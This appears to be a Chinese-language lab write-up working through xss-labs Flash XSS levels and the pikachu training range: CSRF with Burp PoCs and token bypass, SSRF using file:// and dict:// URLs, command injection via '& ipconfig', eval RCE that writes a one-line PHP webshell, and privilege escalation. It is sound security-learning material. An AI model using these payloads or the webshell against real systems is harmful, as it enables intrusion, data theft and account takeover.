就有个embed标签的区域在啦,其实用不用swf文件都一样的,主要是区域,接着我们构造payload
?arg02= onclick=alert()
点击一下区域就弹窗成功了
或者直接
payload:http://127.0.0.1/xss-labs-master/level17.php?arg01=a&arg02=aaa onmousemove='alert(1)'
level 18(同17)
先看源码:
这次不改后端代码了,换个支持flash插件的浏览器,Cent Browser。源码跟上关差别不大,就是换了个swf文件,我们直接测试一波过滤了啥,构建payload
?arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;
emmm,也是只搞了个html实体化函数,也没过滤啥,感觉跟上关一样,用事件触发属性即可(如onmouse系列、onfocus、onclick等)直接上payload
?arg02= onmousedown=alert()
再点一下embed标签区域
看一下后端源码
less-19(flash xss,了解即可,现在许多浏览器都不用flash插件了)
网页源码差不多,也就是只有swf文件不同的差别,直接上payload
?arg02= onmouseup=alert()
还有实体化函数在无法闭合,那就利用其他的,看了一下大佬的wp,参考:Flash XSS 漏洞详解 根治的好办法-CSDN博客
其实就是往Flash里面插入一段js代码,然后手动执行嘛,构造payload
?arg01=version&arg02=<a href="javascript:alert()">here</a>
至于为啥arg01得传version,那就得去swf反编译才能知道了
less-20(反编译)
这关也是有双引号,呜呜呜,不想反编译,直接参考大佬的文章:Level 20 Flash XSS
直接构建payload,
?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123
pikachu靶场练习
CSRF(Get型)
打开靶场,可以看到提示存在的用户
随便选择一个用户作为登陆,然后点击其中的修改信息,抓包获取对应的参数名
可以看到对应的参数提交方式是GET
路径地址为:/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%B0%8F%E7%BE%8A&phonenum=1111&add=111&email=6666%40qq.com&submit=submit
url解码后为/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=小羊&phonenum=1111&add=111&email=6666@qq.com&submit=submit
于是可以得知,提交的url地址为http://192.168.134.202/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=小羊&phonenum=1111&add=111&email=6666@qq.com&submit=submit
此时我们可以手动编写一个html文件或者利用bp自动生成poc,我们点击action,生成一个CSRF的利用
我们可以修改其中的信息,修改完后我们可以点击在浏览器中测试,也可以将源代码复制到自己的服务器上,我们这里先直接用BP的浏览器测试;这里我们可以利用短链接生成平台把我们的链接变短,效果是一样的,我就不具体演示了
可以发现我们对信息进行修改,然后复制出生成浏览器测试url,当我们访问这个url地址时,系统就会自动将信息进行修改。
同理,将源代码复制到我们的服务器中,在用户登录时,若被害者访问了我们的服务器对应链接,也会产生相同效果
我们将html文件放置在我们服务器的根目录下的test.html文件中,等待被害者点击。
点击前:
测试点击:
点击后:
CSRF(POST型)
POST型CSRF唯一就是在参数上传方式不同,其余都与GET型无太大区别
同样,也是先抓包获取参数名
可以看到我们这里的参数以POST形式进行提交,那我们我们对应的修改也只需要和POST型保持一致即可
跟据生成的POC,生成对应的链接访问即可,同时也可以使用短链接生成工具提升钓鱼可信度
访问前:
访问后得到:
CSRF(Token验证型)
抓包测试可以发现多了一个token值,意味着我们无法通过伪造url进行修改个人信息了
可以看到由于token的唯一性,我们不能直接修改参数值来修改个人信息了。
这里我们可以利用Bp上的插件token跟踪器来进行绕过
安装后会出现一个单独的选项卡,然后设置插件:(这里的host我填的是127.0.0.1或者我的电脑ip地址)
即:
然后我们再次抓包进行参数修改
抓包前:
然后我们抓包,发送到重放器中,修改对应参数测试
可以看到由于token的限制,我们是无法进行修改的,接着我们打开BP插件,并将重发器中的跟踪重定向模式打开
然后再次发送修改请求包,就可以发我们的修改成功,且插件处原来为空的token值生成得到了一个新的token值
且在开启跟踪重定向模式下,生成的POC也能使修改请求生效
当访问这个地址后,可以发现对应的信息被修改
也可以选择进行爆破的方式进行token的绕过:
修改前:
同样也是先抓包,修改信息,可以看到这里由于token限制是不能修改成功的
我们将其发送到爆破板块,因为有csrf_token
,那么变量数量
肯定大于1
,Attack type
就需要更改了,因为Sniper
只支持单个变量
,我们设置成Pitchfork
。
接着点击 Payloads,首先设置性别的字典,选择从文件加载。
然后设置email,随便找一个email字典,最后设置token的值
然后我们搜索 token,点击下行的 < > 切换上一个和下一个,找到如下位置,双击选中 token 的值,如图
然后点击确认,可以在 检索-提取栏目中看到一条记录,就是我们刚刚加的。
接下来设置 重定向,设置为 Always(总是)。
在资源池选项卡中设置线程数,设置为 1 个线程,因为多线程会导致 token 出现问题。
选择资源池下面有个创建新资源池可以重新设置线程数,我们勾选最大请求并发数,并且进行参数的设置
回到 Payloads,将 Payload set 3 的 Payload type 设置为 递归提取,如下设置。
一切准备就绪,点击 start attack 开始爆破。可以看到爆破成功,页面也发生了修改,这里只有三条是因为我在前面1、2位置设置payload字典的时候,只加了一两条的缘故
这里看了网上大佬的博客,还有另外的思路:通过存储型xss绕过csrf题目token验证
SSRF(CURL)
知识补充:CURL
cURL 是一个功能强大的命令行工具,用于请求Web服务器。支持多种协议,包括FTP、FTPS、HTTP、HTTPS、SMTP、Telnet、TFTP等,底层用的是libcurl库。
主要功能就是文件上传和下载、发送HTTP请求,允许用户自定义请求头,也支持通过代理发送请求
libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP基于表单的上传、代理、cookies和用户名+密码的认证。
curl命令:curl命令用法-CSDN博客
首先来到题目,点击后可以看到url地址中,存在请求本地文件的行为,修改其中的请求文件,也可以发现页面显示出不同的内容
尝试修改http://192.168.3.245/pikachu-master/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com
(注意这里是支持http而不是https协议)
可以看到url直接进行了地址跳转,对应的url形成了百度的网址。
这里我们再测试一下其他的协议
测试内网的其他服务器上地址和端口:http://192.168.134.202/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:3306
这里直接回显了数据库的版本一些相关信息
测试利用file协议查看本地文件:(注意file协议只能在本地访问)
修改url为:url=file:///d:/test.txt
file协议用法:file:///文件路径
比如我在D盘中对应路径下写一个test.php文件,里面是一些字符
dict协议扫描内网主机开放端口:可以修改url为:url=dict://192.168.198.1:21
可以看到网络探测也存在请求信息
关卡源代码
if(isset($_GET['url']) && $_GET['url'] != null){
//接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
$URL = $_GET['url'];
$CH = curl_init($URL);
curl_setopt($CH, CURLOPT_HEADER, FALSE);
curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
$RES = curl_exec($CH);
curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
echo $RES;
}
SSRF(file_get_content)
跟上关类似,url变成了file协议
知识补充:file_get_content的使用方法
file_get_contents() 把整个文件读入一个字符串中。
语法:file_get_contents(path,include_path,context,start,max_length)
参数 描述
path 必需。规定要读取的文件。
include_path 可选。若还想在 include_path(在 php.ini 中)中搜索文件的话,设置该参数为'1'
context 可选。规定文件句柄的环境 context是可以修改流的行为的选项。若使用NULL则忽略
start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的
max_length 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的
file读取本地文件
修改file为:file=file:///D:/test.txt,查看文件的内容:
http协议请求内网资源
修改file为:file=http://127.0.0.1/pikachu/vul/sqli/1.php,查看文件的内容:
RCE(exec “ping”)
进入靶场,根据提示输入本地环回地址ip,ping一下得到回显,接下来我们输入 127.0.0.1 & ipconfig
说明这里除了可以提交目标IP地址外,还可以通过一些拼接的符号执行其他的命令。
看一下源码
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
$ip=$_POST['ipaddress'];
// $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
if(stristr(php_uname('s'), 'windows')){
// var_dump(php_uname('s'));
$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
}else {
$result.=shell_exec('ping -c 4 '.$ip);
}
}
可以看到$_POST['ipaddress'] 直接拼接到 shell_exec 中,攻击者可以通过输入恶意命令
且没有对用户输入的 IP 地址进行格式校验,可能导致非法输入
RCE(eval)
eval函数可以把字符串当成 PHP 代码来执行。
输入phpinfo(); 点击提交,可以看到函数得以执行。system(“”):直接执行操作系统命令,例如system(“ipconfig”)
输入fputs(fopen('shell.php','w'),'<?php assert($_POST[123]);?>');
, 会在当前网页所在目录生成一句话木马文件, 后续可用webshell管理工具进行连接
看一下源码
if(isset($_POST['submit']) && $_POST['txt'] != null){
if(@!eval($_POST['txt'])){
$html.="<p>你喜欢的字符还挺奇怪的!</p>";
}
}
可以看到$_POST['txt'] 直接传递给 eval,没有任何过滤或验证。使用 @ 抑制错误信息,可能会导致潜在的问题被忽略。
水平越权
根据提示,存在以上用户,我们先登录kobe账户的信息,看到个人信息如下:
抓包测试,可以看到存在get请求参数,怀疑是用户标识信息,我们将kobe改为lucy:
放行数据包之后可以看到查看的用户信息为lucy,验证成功
垂直越权
首先垂直越权我们需要低权限用户的标识、高权限用户的数据包,然后重发高权限数据包,将其中的用户标识改为低权限用户的标识,看看能否返回响应数据包。
抓包获取低权限用户标识:这里为用户cookie作为标识
可以看到低权限用户cookie信息和界面:
我们在尝试登陆高权限用户查看一下数据包信息和特殊功能界面
可以看到高权限用户存在添加、删除用户功能,我们尝试添加一个用户,然后使用低权限用户的身份标识,看看是否能成功
这是高权限用户添加用户的数据包,我们将数据包抓取出来,换成低权限用户的cookie再尝试一遍。
可以看到添加成功。也可以用插件:AutorizePro 也是一样的步骤
捡洞神器-AI版越权检测burp插件AutorizePro_autorize插件-CSDN博客
将低权限用户cookie发到插件–>抓取/访问高权限用户特有的数据包–>跟据包的返回长度判断是不是越权
一般测垂直越权填写低权限用户的cookie或者token,测水平越权就填与另外一个用户的鉴权信息。
(但是笔者这里出了点问题,插件返回值302,太困了,埋个伏笔下次想明白了来写)